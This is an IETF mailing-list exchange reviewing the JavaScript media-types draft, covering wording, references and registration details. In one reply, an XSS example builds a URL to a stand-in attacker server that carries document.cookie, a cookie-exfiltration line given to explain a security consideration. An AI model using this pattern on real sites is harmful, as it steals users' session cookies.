Subject: [dispatch] Benjamin Kaduk's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT)

From: Benjamin Kaduk via Datatracker <[email-masked]>
Date: Wed, 05 Jan 2022 16:00:27 -0800

Benjamin Kaduk has entered the following ballot position for
draft-ietf-dispatch-javascript-mjs-13: No Objection

When responding, please keep the subject line intact and reply to all
email addresses included in the To and CC lines. (Feel free to cut this
introductory paragraph, however.)

Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/
for more information about how to handle DISCUSS and COMMENT positions.

The document, along with other ballot positions, can be found here:
https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/

----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

Section 3

   This document does not define how fragment identifiers in resource
   identifiers ([RFC3986], [RFC3987]) for documents labeled with one of
   the media types defined in this document are resolved.  An update of
   this document may define processing of fragment identifiers.

This section is the "modules" section; the disclaimer of specification of
fragment handling seems to apply to both script and module content, and thus
to be misplaced in this section.

Section 5

   Module scripts in ECMAScript can request the fetching and processing
   of additional scripts, called importing.  Implementations that
   support modules need to process imported sources in the same way as
   scripts.  Further, there may be additional privacy and security
   concerns depending on the location(s) the original script and its
   imported modules are obtained from.  For instance, a script obtained
   from "host-a.example" could request to import a script from "host-
   b.example", which could expose information about the executing
   environment (e.g., IP address) to "host-b.example".  See the section
   "ECMAScript Language: Scripts and Modules" in [ECMA-262] for details.

Is the referenced "ECMAScript Language: Scripts and Modules" section
supposed to be providing more details on the importing process, or the
potential privacy and security concerns?  I skimmed through it and found
nothing noteworthy on the latter, which suggests that perhaps the former was
intended.  If that's the case, then reordering the sentences within the
paragraph might be helpful.

   This circumstance can further be used to make information, that is
   normally only available to the script, available to a web server by
   encoding the information in the resource identifier of the resource,
   which can further enable eavesdropping attacks.  Implementation of
   such facilities is subject to the security considerations of the host
   environment, as discussed above.

What does "the resource" refer to, here?  I don't see a previous mention of
a resource that it would be referring to.  Is it perhaps a resource that's
the target of a request to the web server that is receiving the information
in question?

Section 7.1

It's pretty surprising to see a normative dependency on RFC 4329 when we
claim to obsolete that document.

Appendix B

Looking at the diff from RFC 4329, I also see some text about handling
application/ecmascript content that has a "version" parameter to the media
type, that seems to have been removed entirely for this document.  Is that
sufficiently noteworthy to be included in this change listing?

NITS

Section 5

   The programming language defined in [ECMA-262] is not intended to be
   computationally self-sufficient, rather it is expected that the
   computational environment provides facilities to programs to enable
   specific functionality.  [...]

The comma usage seems off here.  I'm not sure if the sentence overall
contains a comma splice or not, but probably there should be a comma after
"rather" regardless of whether the first comma is converted to
semicolon/full-stop or otherwise.

Section 6

   application/ecmascript" is to be removed.  IANA is requested to add
   the note "OBSOLETED in favor of text/javascript" to all registrations
   except "text/javascript".

Presumably this is "all registrations listed in this document", not "all
registrations in the registry"...

Section 6.2.x

I extracted the various subsections and used diff to compare them.
Aside from the expected variation in type/subtype name and file extension
(.es vs .js), there is also variation in:

- whether there is a full stop at the end of the "Change controller" line

- the "See also [sections] of [this document]" sentence in the
  interoperability considerations -- some say "various sections", others
  "section 4.1"; some have a "regarding the charset parameter" clause and
  others don't.  I'm not sure whether these variations are intentional or
  not.

- some have the "Person & email address to contact for further information"
  listing both this document and RFC 4329, but most just list this document.

- text/livescript does not have a note about this registration applying to
  later editions of [ECMA-262]; perhaps that's appropriate for the
  livescript media type.

---

From: Mathias Bynens <[email-masked]>
Date: Fri, 7 Jan 2022 10:13:15 +0100

Thanks for the review! Replies inline.

> https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/

Thanks. Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files.

> paragraph might be helpful.

Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files.

> the target of a request to the web server that is receiving the information

It refers to for example, URLs, that can be constructed and requested using
JavaScript/DOM APIs on the Web as part of an XSS attack
<https://owasp.org/www-community/attacks/xss/>:

    'https://hacker-controlled-server.example.com/log-cookie-data?cookie='
+ document.cookie;

This content is inherited as-is from RFC4329; we’d rather not make changes
to it as it’s outside the scope of our proposed changes.

Section 7.1
> claim to obsolete that document.

Note that the registrations intentionally refer to both the new doc and RFC
4329:

   Person & email address to contact for further information:  See
      Author's Address section of [this document] and [RFC4329].

Happy to make changes if needed but given the above, the normative
reference seems unsurprising to me.

> sufficiently noteworthy to be included in this change listing?

This falls under the list item “Updated various references where the
original has been obsoleted.” which is already listed under the “Changes
from RFC 4329” section.

The "version" parameter refers to the following old RFC 4329 note:

   For the
   application/ecmascript media type, implementations MUST NOT process
   content labeled with a "version" parameter as if no such parameter
   had been specified; this is typically achieved by treating the
   content as unsupported.

This does not match implementation reality, and Web browsers cannot
implement this restriction without Breaking the Web:
https://mathiasbynens.be/demo/javascript-mime-type The "version" parameter
is just ignored in practice, like any other unspecified parameter, so there
is no need to include any text about it.

NITS
> semicolon/full-stop or otherwise.

Good catch. Addressed in
https://github.com/linuxwolf/bmeck-ids/pull/62/files.

> registrations in the registry"...

Indeed. That applies to the rest of the sentence as well, e.g. "All
registrations will point to this document as reference.".

> - whether there is a full stop at the end of the "Change controller" line

Good catch! Fixed.

>   listing both this document and RFC 4329, but most just list this

Fixed.

>   later editions of [ECMA-262]; perhaps that's appropriate for the

I’ve made this consistent for all registrations in the document. Your nits
helped me find a few other inconsistencies that I’ve addressed as well.

Thanks,
Mathias

---

From: Benjamin Kaduk <[email-masked]>
Date: Fri, 7 Jan 2022 18:24:45 -0800

Hi Mathias,

Your responses all make sense to me, and the changes in the referenced PR
look good.

Thanks!

-Ben